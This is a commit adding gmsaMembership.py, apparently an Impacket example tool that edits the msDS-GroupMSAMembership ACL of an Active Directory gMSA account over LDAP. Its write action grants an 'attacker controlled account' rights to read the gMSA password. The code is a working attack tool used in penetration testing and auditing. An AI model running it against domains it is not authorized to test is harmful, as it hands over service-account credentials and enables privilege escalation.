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Add gmsaMembership.py to examples
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‎examples/gmsaMembership.py

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#!/usr/bin/env python3
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# Impacket - Collection of Python classes for working with network protocols.
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#
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# Copyright Fortra, LLC and its affiliated companies
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#
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# All rights reserved.
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#
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# This software is provided under a slightly modified version
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# of the Apache Software License. See the accompanying LICENSE file
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# for more information.
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#
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# Description:
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# Python script for handling the msDS-GroupMSAMembership property of a target gMSA account.
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#
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# Author:
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# Niket (https://github.com/int3x)
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#
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# Adopted from code of:
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# Remi Gascou (@podalirius_)
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# Charlie Bromberg (@_nwodtuhs)
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#
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import argparse
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import logging
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import sys
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import traceback
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import ldap3
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import ldapdomaindump
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from ldap3.protocol.formatters.formatters import format_sid
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from impacket import version
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from impacket.examples import logger, utils
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from impacket.ldap import ldaptypes
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from ldap3.utils.conv import escape_filter_chars
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from impacket.examples.utils import init_ldap_session, parse_identity
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def create_empty_sd():
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sd = ldaptypes.SR_SECURITY_DESCRIPTOR()
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sd['Revision'] = b'\x01'
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sd['Sbz1'] = b'\x00'
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sd['Control'] = 32772
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sd['OwnerSid'] = ldaptypes.LDAP_SID()
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# BUILTIN\Administrators
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sd['OwnerSid'].fromCanonical('S-1-5-32-544')
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sd['GroupSid'] = b''
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sd['Sacl'] = b''
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acl = ldaptypes.ACL()
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acl['AclRevision'] = 4
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acl['Sbz1'] = 0
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acl['Sbz2'] = 0
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acl.aces = []
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sd['Dacl'] = acl
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return sd
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# Create an ALLOW ACE with the specified sid
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def create_allow_ace(sid):
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nace = ldaptypes.ACE()
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nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE
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nace['AceFlags'] = 0x00
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acedata = ldaptypes.ACCESS_ALLOWED_ACE()
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acedata['Mask'] = ldaptypes.ACCESS_MASK()
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acedata['Mask']['Mask'] = 983551 # Full control
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acedata['Sid'] = ldaptypes.LDAP_SID()
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acedata['Sid'].fromCanonical(sid)
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nace['Ace'] = acedata
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return nace
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class GMSA(object):
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"""docstring for class GMSA"""
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def __init__(self, ldap_server, ldap_session, gmsa_account):
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super(GMSA, self).__init__()
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self.ldap_server = ldap_server
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self.ldap_session = ldap_session
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self.principal = None
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self.gmsa_account = gmsa_account
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self.SID_principal = None
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self.DN_gmsa_account = None
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logging.debug('Initializing domainDumper()')
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cnf = ldapdomaindump.domainDumpConfig()
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cnf.basepath = None
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self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf)
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def read(self):
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# Get gMSA account DN
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result = self.get_user_info(self.gmsa_account)
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if not result:
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logging.error('Target gMSA account does not exist! (forgot "$" for a computer account? wrong domain?)')
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return
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self.DN_gmsa_account = result[0]
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# Get list of entities allowed to read the gMSA password
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self.get_gmsa_membership()
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return
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def write(self, principal):
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self.principal = principal
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# Get principal user sid
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result = self.get_user_info(self.principal)
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if not result:
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logging.error('Principal account does not exist! (forgot "$" for a computer account? wrong domain?)')
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return
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self.SID_principal = str(result[1])
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# Get gMSA account DN
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result = self.get_user_info(self.gmsa_account)
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if not result:
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logging.error('Target gMSA account does not exist! (forgot "$" for a computer account? wrong domain?)')
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return
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self.DN_gmsa_account = result[0]
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# Get list of entities allowed to read the gMSA password and build security descriptor including previous data
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sd, targetuser = self.get_gmsa_membership()
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# writing only if SID not already in list
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if self.SID_principal not in [ ace['Ace']['Sid'].formatCanonical() for ace in sd['Dacl'].aces ]:
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sd['Dacl'].aces.append(create_allow_ace(self.SID_principal))
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self.ldap_session.modify(targetuser['dn'],
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{'msDS-GroupMSAMembership': [ldap3.MODIFY_REPLACE,
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[sd.getData()]]})
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if self.ldap_session.result['result'] == 0:
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logging.info('Rights modified successfully!')
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logging.info('%s can now read gMSA password for %s', self.principal, self.gmsa_account)
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else:
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if self.ldap_session.result['result'] == 50:
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logging.error('Could not modify object, the server reports insufficient rights: %s',
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self.ldap_session.result['message'])
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elif self.ldap_session.result['result'] == 19:
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logging.error('Could not modify object, the server reports a constrained violation: %s',
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self.ldap_session.result['message'])
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else:
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logging.error('The server returned an error: %s', self.ldap_session.result['message'])
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else:
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logging.info('%s can already read the gMSA password for %s', self.principal, self.gmsa_account)
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logging.info('Not modifying the rights.')
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# Get list of entities allowed to read the gMSA password
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self.get_gmsa_membership()
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return
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def remove(self, principal):
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self.principal = principal
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# Get principal user sid
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result = self.get_user_info(self.principal)
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if not result:
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logging.error('Principal account does not exist! (forgot "$" for a computer account? wrong domain?)')
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return
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self.SID_principal = str(result[1])
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# Get gMSA account DN
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result = self.get_user_info(self.gmsa_account)
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if not result:
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logging.error('Target gMSA account does not exist! (forgot "$" for a computer account? wrong domain?)')
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return
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self.DN_gmsa_account = result[0]
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# Get list of entities allowed to read the gMSA password and build security descriptor including that data
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sd, targetuser = self.get_gmsa_membership()
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# Remove the entries where SID match the given -principal
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sd['Dacl'].aces = [ace for ace in sd['Dacl'].aces if self.SID_principal != ace['Ace']['Sid'].formatCanonical()]
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self.ldap_session.modify(targetuser['dn'],
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{'msDS-GroupMSAMembership': [ldap3.MODIFY_REPLACE, [sd.getData()]]})
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if self.ldap_session.result['result'] == 0:
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logging.info('Rights modified successfully!')
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else:
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if self.ldap_session.result['result'] == 50:
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logging.error('Could not modify object, the server reports insufficient rights: %s',
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self.ldap_session.result['message'])
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elif self.ldap_session.result['result'] == 19:
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logging.error('Could not modify object, the server reports a constrained violation: %s',
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self.ldap_session.result['message'])
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else:
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logging.error('The server returned an error: %s', self.ldap_session.result['message'])
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# Get list of entities allowed to read the gMSA password
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self.get_gmsa_membership()
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return
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def flush(self):
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# Get gMSA account DN
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result = self.get_user_info(self.gmsa_account)
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if not result:
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logging.error('Target gMSA account does not exist! (forgot "$" for a computer account? wrong domain?)')
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return
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self.DN_gmsa_account = result[0]
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# Get list of entities allowed to read the gMSA password
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sd, targetuser = self.get_gmsa_membership()
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self.ldap_session.modify(targetuser['dn'], {'msDS-GroupMSAMembership': [ldap3.MODIFY_REPLACE, []]})
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if self.ldap_session.result['result'] == 0:
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logging.info('Rights flushed successfully!')
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else:
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if self.ldap_session.result['result'] == 50:
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logging.error('Could not modify object, the server reports insufficient rights: %s',
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self.ldap_session.result['message'])
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elif self.ldap_session.result['result'] == 19:
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logging.error('Could not modify object, the server reports a constrained violation: %s',
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self.ldap_session.result['message'])
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else:
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logging.error('The server returned an error: %s', self.ldap_session.result['message'])
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# Get list of entities allowed to read the gMSA password
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self.get_gmsa_membership()
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return
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def get_gmsa_membership(self):
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# Get target's msDS-GroupMSAMembership attribute
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self.ldap_session.search(self.DN_gmsa_account, '(objectClass=*)', search_scope=ldap3.BASE,
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attributes=['SAMAccountName', 'objectSid', 'msDS-GroupMSAMembership'])
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targetuser = None
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for entry in self.ldap_session.response:
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if entry['type'] != 'searchResEntry':
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continue
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targetuser = entry
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if not targetuser:
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logging.error('Could not query target account properties')
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return
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try:
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sd = ldaptypes.SR_SECURITY_DESCRIPTOR(
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data=targetuser['raw_attributes']['msDS-GroupMSAMembership'][0])
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if len(sd['Dacl'].aces) > 0:
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logging.info('Accounts allowed to read gMSA password:')
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for ace in sd['Dacl'].aces:
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SID = ace['Ace']['Sid'].formatCanonical()
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SidInfos = self.get_sid_info(ace['Ace']['Sid'].formatCanonical())
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if SidInfos:
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SamAccountName = SidInfos[1]
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logging.info(' %-10s (%s)' % (SamAccountName, SID))
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else:
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logging.info('Attribute msDS-GroupMSAMembership is empty')
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except IndexError:
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logging.info('Attribute msDS-GroupMSAMembership is empty')
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# Create DACL manually
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sd = create_empty_sd()
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return sd, targetuser
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def get_user_info(self, samname):
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self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid'])
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try:
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dn = self.ldap_session.entries[0].entry_dn
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sid = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0])
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return dn, sid
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except IndexError:
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logging.error('User not found in LDAP: %s' % samname)
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return False
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def get_sid_info(self, sid):
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self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % escape_filter_chars(sid), attributes=['samaccountname'])
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try:
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dn = self.ldap_session.entries[0].entry_dn
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samname = self.ldap_session.entries[0]['samaccountname']
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return dn, samname
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except IndexError:
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logging.error('SID not found in LDAP: %s' % sid)
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return False
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def parse_args():
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parser = argparse.ArgumentParser(add_help=True,
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description='Python (re)setter for property msDS-GroupMSAMembership')
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parser.add_argument('identity', action='store', help='domain.local/username[:password]')
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parser.add_argument("-gmsa-account", type=str, required=True,
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help="Target gMSA account whose msDS-GroupMSAMembership is to be read/edited/etc.")
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parser.add_argument("-principal", type=str, required=False,
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help="Attacker controlled account to write on the gMSAmembership property of target gMSA account (only when using `-action write`)")
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parser.add_argument('-action', choices=['read', 'write', 'remove', 'flush'], nargs='?', default='read',
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help='Action to operate on msDS-GroupMSAMembership')
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parser.add_argument('-use-ldaps', action='store_true', help='Use LDAPS instead of LDAP')
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parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
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parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
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group = parser.add_argument_group('authentication')
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group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
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group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
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group.add_argument('-k', action="store_true",
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help='Use Kerberos authentication. Grabs credentials from ccache file '
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'(KRB5CCNAME) based on target parameters. If valid credentials '
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'cannot be found, it will use the ones specified in the command '
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'line')
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group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication '
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'(128 or 256 bits)')
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group = parser.add_argument_group('connection')
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group.add_argument('-dc-ip', action='store', metavar="ip address",
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help='IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If '
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'omitted it will use the domain part (FQDN) specified in '
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'the identity parameter')
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if len(sys.argv) == 1:
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parser.print_help()
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sys.exit(1)
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return parser.parse_args()
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def main():
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print(version.BANNER)
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args = parse_args()
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logger.init(args.ts, args.debug)
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if args.action == 'write' and args.principal is None:
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logging.critical('`-principal` should be specified when using `-action write` !')
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sys.exit(1)
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domain, username, password, lmhash, nthash, args.k = parse_identity(args.identity, args.hashes, args.no_pass, args.aesKey, args.k)
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try:
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ldap_server, ldap_session = init_ldap_session(domain, username, password, lmhash, nthash, args.k, args.dc_ip, args.aesKey, args.use_ldaps)
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gmsa = GMSA(ldap_server, ldap_session, args.gmsa_account)
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if args.action == 'read':
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gmsa.read()
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elif args.action == 'write':
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gmsa.write(args.principal)
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elif args.action == 'remove':
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gmsa.remove(args.principal)
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elif args.action == 'flush':
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gmsa.flush()
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except Exception as e:
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if logging.getLogger().level == logging.DEBUG:
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traceback.print_exc()
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logging.error(str(e))
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if __name__ == '__main__':
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main()

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